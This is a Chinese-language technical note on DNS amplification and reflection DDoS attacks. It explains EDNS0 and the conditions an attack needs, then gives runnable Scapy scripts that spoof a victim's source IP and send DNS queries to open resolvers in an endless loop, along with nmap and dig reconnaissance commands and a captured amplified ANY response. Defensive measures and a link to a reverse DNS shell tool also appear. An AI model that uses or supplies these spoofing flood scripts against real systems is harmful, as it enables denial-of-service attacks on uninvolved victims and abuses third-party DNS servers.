DNS放大攻擊 設置要使用的DNS服務器 nslookup set q=ns 223.5.5.5 可能的限制 根據RFC1035中定義的DNS消息格式以及所能支持的內容長度,UDP包傳輸大小被限制為512個字節,超出的部分會被截斷或丟棄或者使用TCP協議重傳(端口仍為53) https://www.rfc-editor.org/rfc/rfc1035.txt 突破上述限制,目的是為了擴充響應數據包大小的方式,這就是EDNS機制,具體的RFC2671中有提到擴展DNS機制,EDNS(Extension Mechanisms for DNS),並在其中推薦了一種傳遞包大小的EDNS0。在EDNS0中,擴展了DNS數據包的結構,增加了OPT RR字段。在此字段中包含了客戶端能夠處理的最大UDP報文大小信息。服務端在響應DNS請求時,解析並記錄下客戶端能夠處理的最大UDP報文大小,並根據該大小生成響應的報文 https://www.rfc-editor.org/rfc/rfc2671.txt dig @10.0.2.6 +bufsize=4096 +noanswer qq.com txt dig any qq.com @202.101.172.35 實際環境場景 實際攻擊中可以通過配置DNS服務器使UDP傳輸大小擴充至4096個字節,也就是放大倍數可以為60左右。ENDS機制的引入使DNS放大攻擊所需倍數得到了保證。 如果只有前兩個條件而我們不能找到大量反射源(大量開放查詢服務的第三方DNS服務器),攻擊仍很難立竿見影。這主要是因為如果反射源很少的話,受攻擊方就可以通過黑名單機制屏蔽攻擊源,丟棄攻擊數據 攻擊的條件: 1.能夠偽造攻擊源IP地址 2.選中的DNS服務器支持EDNS擴展機制,突破512的限制 3.需要一份開放了查詢服務的第三方DNS服務器列表,通過端口掃描獲得 4.DNS服務器需要開啟遞歸查詢功能 防御措施: 加固反射源 1.對開放查詢服務的DNS服務器作出限制,只對可信任的區域主機提供解析服務 2.強制某些DNS查詢類型(例如:txt,any)使用tcp傳輸,並對單個源IP的查詢速率做限制 加固被攻擊的目標 因為DNS放大攻擊屬於流量型攻擊的一種,可以使用Anycast技術對攻擊流量進行稀釋和清洗 使用nmap確定一台服務器是否支持遞歸查詢 nmap -sU -p53 --script=dns-recursion 223.5.5.5 DNS反射放大攻擊 #!/usr/bin/python from scapy.all import * targetIP = raw_input("Please enter the IP address for the target: ") dnsIP = raw_input("Please enter the IP address for the misconfigured DNS: ") while True: send(IP(dst=dnsIP,src=targetIP)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),verbose=0) #!/usr/bin/env python # coding:utf-8 from scapy import * from scapy.all import * a = IP(dst='223.5.5.5', src='10.0.1.82') # 10.0.1.87 為偽造的源ip b = UDP(dport=53) c = DNS(id=1, qr=0, opcode=0, tc=0, rd=1, qdcount=1, ancount=0,nscount=0, arcount=0) c.qd = DNSQR(qname='www.qq.com', qtype=1, qclass=1) p = a/b/c send(p) 或者 #!/usr/bin/env python # coding:utf-8 from scapy import * from scapy.all import * a = IP(dst='10.0.2.6', src='10.0.1.82') # 10.0.1.87 為偽造的源ip 10.0.2.6是自建的DNS服務器 b = UDP() c = DNS(id=1, rd=1, qdcount=1) c.qd = DNSQR(qname='www.baidu.com') p = a/b/c i = 0 while i < 5: send(p) i = i + 1 print("dns attack finished!") 簡單搭建dns服務器 https://simpledns.plus/download dns反射攻擊測試,使用scapy交互式構造數據包 >>> i=IP() >>> i.display() ###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= hopopt chksum= None src= 127.0.0.1 dst= 127.0.0.1 \options\ >>> i.dst="223.5.5.5" >>> i.display() ###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= hopopt chksum= None src= 10.0.1.92 dst= 223.5.5.5 \options\ >>> u=UDP() >>> u.display() ###[ UDP ]### sport= domain dport= domain len= None chksum= None >>> d=DNS() >>> d.display() ###[ DNS ]### id= 0 qr= 0 opcode= QUERY aa= 0 tc= 0 rd= 1 ra= 0 z= 0 ad= 0 cd= 0 rcode= ok qdcount= 0 ancount= 0 nscount= 0 arcount= 0 qd= None an= None ns= None ar= None >>> d.rd=1 >>> d.qdcount=1 >>> d.display() ###[ DNS ]### id= 0 qr= 0 opcode= QUERY aa= 0 tc= 0 rd= 1 ra= 0 z= 0 ad= 0 cd= 0 rcode= ok qdcount= 1 ancount= 0 nscount= 0 arcount= 0 qd= None an= None ns= None ar= None >>> q=DNSQR() >>> q.qname="qq.com" >>> q.qtype=255 >>> q.display() ###[ DNS Question Record ]### qname= 'qq.com' qtype= ALL qclass= IN >>> d.qd=q >>> r=(i/u/d) >>> d.display() ###[ DNS ]### id= 0 qr= 0 opcode= QUERY aa= 0 tc= 0 rd= 1 ra= 0 z= 0 ad= 0 cd= 0 rcode= ok qdcount= 1 ancount= 0 nscount= 0 arcount= 0 \qd\ |###[ DNS Question Record ]### | qname= 'qq.com' | qtype= ALL | qclass= IN an= None ns= None ar= None >>> sr1(r) Begin emission: Finished sending 1 packets. ....* Received 5 packets, got 1 answers, remaining 0 packets <IP version=4 ihl=5 tos=0x20 len=280 id=1 flags= frag=0 ttl=117 proto=udp chksum=0x554e src=223.5.5.5 dst=10.0.1.92 |<UDP sport=domain dport=domain len=260 chksum=0x0 |<DNS id=0 qr=1 opcode=QUERY aa=0 tc=0 rd=1 ra=1 z=0 ad=0 cd=0 rcode=ok qdcount=1 ancount=11 nscount=0 arcount=0 qd=<DNSQR qname='qq.com.' qtype= ALL qclass=IN |> an=<DNSRR rrname='qq.com.' type=TXT rclass=IN ttl=355 rdlen=None rdata=['v=spf1 include:spf.mail.qq.com -all'] |<DNSRR rrname='qq.com.' typ e=A rclass=IN ttl=355 rdlen=None rdata=123.151.137.18 |<DNSRR rrname='qq.com.' type=A rclass=IN ttl=355 rdlen=None rdata=61.129.7.47 |<DNSRR rrname='qq.com. ' type=A rclass=IN ttl=355 rdlen=None rdata=183.3.226.35 |<DNSRRMX rrname='qq.com.' type=MX rclass=IN ttl=355 rdlen=None preference=20 exchange='mx2.qq.com.' |<DNSRRMX rrname='qq.com.' type=MX rclass=IN ttl=355 rdlen=None preference=10 exchange='mx3.qq.com.' |<DNSRRMX rrname='qq.com.' type=MX rclass=IN ttl=355 r dlen=None preference=30 exchange='mx1.qq.com.' |<DNSRR rrname='qq.com.' type=NS rclass=IN ttl=355 rdlen=None rdata='ns3.qq.com.' |<DNSRR rrname='qq.com.' ty pe=NS rclass=IN ttl=355 rdlen=None rdata='ns1.qq.com.' |<DNSRR rrname='qq.com.' type=NS rclass=IN ttl=355 rdlen=None rdata='ns4.qq.com.' |<DNSRR rrname='qq. com.' type=NS rclass=IN ttl=355 rdlen=None rdata='ns2.qq.com.' |>>>>>>>>>>> ns=None ar=None |>>> 抓包 tcpdump -i any port 53 -vv 互聯網上有兩種DNS服務器: 權威DNS服務器、遞歸DNS服務器; 權威服務器是DNS記錄的真實存放地點,也是DNS攻擊的主要目標,大型企業通常自己維護權威服務器,接受來自互聯網的查詢請求並響應。 遞歸DNS服務器可以理解為緩存DNS服務器,通常直接接受客戶端的查詢請求,並從緩存中查找反饋結果,如果緩存中沒有查詢結果,遞歸服務器就會按着DNS的層級架構逐級找到權威服務器,並從中查詢結果 DNS反射攻擊 攻擊者通過偽造地址,假冒被攻擊目標服務器的身份,向互聯網上大量開放遞歸查詢的DNS服務器發出請求,通過這些服務器的響應對攻擊目標實現DoS和DDoS攻擊;分布式的反射攻擊也叫DrDoS攻擊;很多DNS服務器為提供DNS查詢的安全性使用了DNSSEC技術,對查詢結果進行加密傳輸,但具有諷刺意味的是,對此類服務器反射攻擊的效果更好,因為加密需要更多消耗服務器的性能和網絡帶寬。 簡單搭建DNS服務器 https://simpledns.plus/download DNS攻擊的3種方式 1.僵屍網絡IP直接進行攻擊 攻擊形式:直接使用僵屍網絡,不偽造源IP地址,在同一段時間內發送海量的DNS請求到目標域名服務器 緩解措施:通過使用基於硬件的網絡設備或雲服務解決方案可以過濾或限制網絡流量,這種不會偽造源IP地址,直接封鎖IP地址即可 2.IP欺騙 攻擊形式:DNS默認依賴UDP協議,而由於UDP自身的特性導致,只需偽造數據包的 IP 地址,就可以輕易將源IP換成隨機IP,在這種情況下,攔截 IP 地址是沒有用的 緩解措施:遇到此種情況,可以使用大量的DNS緩存服務器來吸收大部分DNS流量,但是攻擊者會進行預測判斷會發送大量不存在的域名,致使DNS服務器本地緩存沒有記錄,不得不進行遞歸查詢,所以此時我們還需要在DNS緩存服務器上限制來自不存在域名的DNS請求轉發率,如果傳入請求的總數量超過閾值,則要求客戶端從 UDP 切換到 TCP。切換后,由於 TCP 需要三次握手,則可以避免源 IP 欺騙 3.反射DDoS攻擊 攻擊形式:攻擊者不僅會欺騙源IP,連目的地IP也不會放過,來自正常DNS解析器的DNS回答會被發回給受害者(被欺騙的IP),而不是原攻擊者的 IP,從而導致受害者受到DDoS攻擊 緩解措施:限制同一IP地址的DNS請求/應答速率,因為DNS解析器會使用緩存,所以理論上來講,請求轉發率會十分低,一定的頻率限制應當會有效 參考: https://mp.weixin.qq.com/s/LuGn5NoMl5xthu-ZqYChnA https://mp.weixin.qq.com/s/aEsyiX4pmJdBTtRV4jvC9g https://github.com/ahhh/Reverse_DNS_Shell https://github.com/bugscanteam/dnslog/ https://github.com/Wyc0/DNSLog https://paper.seebug.org/60/ https://mp.weixin.qq.com/s/Urx18pdE0WeOGfnDdm9YMg https://mp.weixin.qq.com/s/XGM5Q7KbpbV8XuY0rlG6qw https://www.infoq.cn/article/99agzwzlewtvqjvgrtth https://www.codeleading.com/article/85773061743/